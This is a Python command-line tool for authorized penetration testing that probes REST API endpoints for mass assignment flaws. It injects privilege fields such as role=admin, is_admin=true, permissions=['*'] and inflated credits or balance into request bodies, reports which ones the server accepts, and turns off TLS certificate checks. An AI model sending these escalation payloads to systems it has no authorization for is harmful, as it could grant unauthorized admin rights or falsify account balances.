#!/usr/bin/env python3
"""Agent for detecting mass assignment vulnerabilities in REST APIs."""

import argparse
import json
from datetime import datetime, timezone

try:
    import requests
    HAS_REQUESTS = True
except ImportError:
    HAS_REQUESTS = False

PRIVILEGE_FIELDS = [
    "role", "roles", "is_admin", "isAdmin", "admin", "privilege",
    "permissions", "access_level", "user_type", "group", "groups",
    "verified", "is_verified", "email_verified", "active", "is_active",
    "approved", "is_approved", "subscription", "plan", "tier",
    "credits", "balance", "discount",
]


def get_baseline_response(url, token=None):
    """Get baseline response to understand normal object structure."""
    if not HAS_REQUESTS:
        return {}
    headers = {"Authorization": f"Bearer {token}"} if token else {}
    try:
        resp = requests.get(url, headers=headers, timeout=10, verify=False)
        return resp.json()
    except (requests.RequestException, json.JSONDecodeError):
        return {}


def test_mass_assignment(url, method, base_data, extra_fields, token=None):
    """Test mass assignment by injecting extra fields in request body."""
    if not HAS_REQUESTS:
        return []
    findings = []
    headers = {"Authorization": f"Bearer {token}"} if token else {}
    headers["Content-Type"] = "application/json"

    for field in extra_fields:
        test_values = {
            "role": "admin",
            "roles": ["admin"],
            "is_admin": True,
            "isAdmin": True,
            "admin": True,
            "permissions": ["*"],
            "access_level": 999,
            "verified": True,
            "is_verified": True,
            "active": True,
            "is_active": True,
            "credits": 99999,
            "balance": 99999,
            "plan": "enterprise",
        }
        payload = {**base_data, field: test_values.get(field, True)}

        try:
            if method.upper() == "POST":
                resp = requests.post(url, json=payload, headers=headers, timeout=10, verify=False)
            elif method.upper() == "PUT":
                resp = requests.put(url, json=payload, headers=headers, timeout=10, verify=False)
            elif method.upper() == "PATCH":
                resp = requests.patch(url, json=payload, headers=headers, timeout=10, verify=False)
            else:
                continue

            if resp.status_code in (200, 201):
                resp_data = resp.json() if resp.headers.get("content-type", "").startswith("application/json") else {}
                if field in str(resp_data):
                    findings.append({
                        "field": field,
                        "value_sent": test_values.get(field, True),
                        "status_code": resp.status_code,
                        "field_in_response": True,
                        "severity": "CRITICAL" if field in ("role", "is_admin", "admin", "permissions") else "HIGH",
                    })
        except requests.RequestException:
            continue
    return findings


def main():
    parser = argparse.ArgumentParser(
        description="Detect mass assignment vulnerabilities in REST APIs (authorized testing only)"
    )
    parser.add_argument("--url", required=True, help="API endpoint URL")
    parser.add_argument("--method", default="PUT", choices=["POST", "PUT", "PATCH"])
    parser.add_argument("--data", required=True, help="Base request JSON data")
    parser.add_argument("--token", help="Bearer token")
    parser.add_argument("--fields", nargs="*", help="Custom fields to test")
    parser.add_argument("--output", "-o", help="Output JSON report")
    args = parser.parse_args()

    print("[*] Mass Assignment Testing Agent")
    print("[!] For authorized security testing only")

    base_data = json.loads(args.data)
    extra_fields = args.fields or PRIVILEGE_FIELDS

    findings = test_mass_assignment(args.url, args.method, base_data, extra_fields, args.token)

    report = {
        "timestamp": datetime.now(timezone.utc).isoformat(),
        "target": args.url,
        "fields_tested": len(extra_fields),
        "findings": findings,
        "risk_level": "CRITICAL" if any(f["severity"] == "CRITICAL" for f in findings) else "HIGH" if findings else "LOW",
    }
    print(f"[*] Tested {len(extra_fields)} fields, {len(findings)} accepted")

    if args.output:
        with open(args.output, "w") as f:
            json.dump(report, f, indent=2)
        print(f"[*] Report saved to {args.output}")
    else:
        print(json.dumps(report, indent=2))


if __name__ == "__main__":
    main()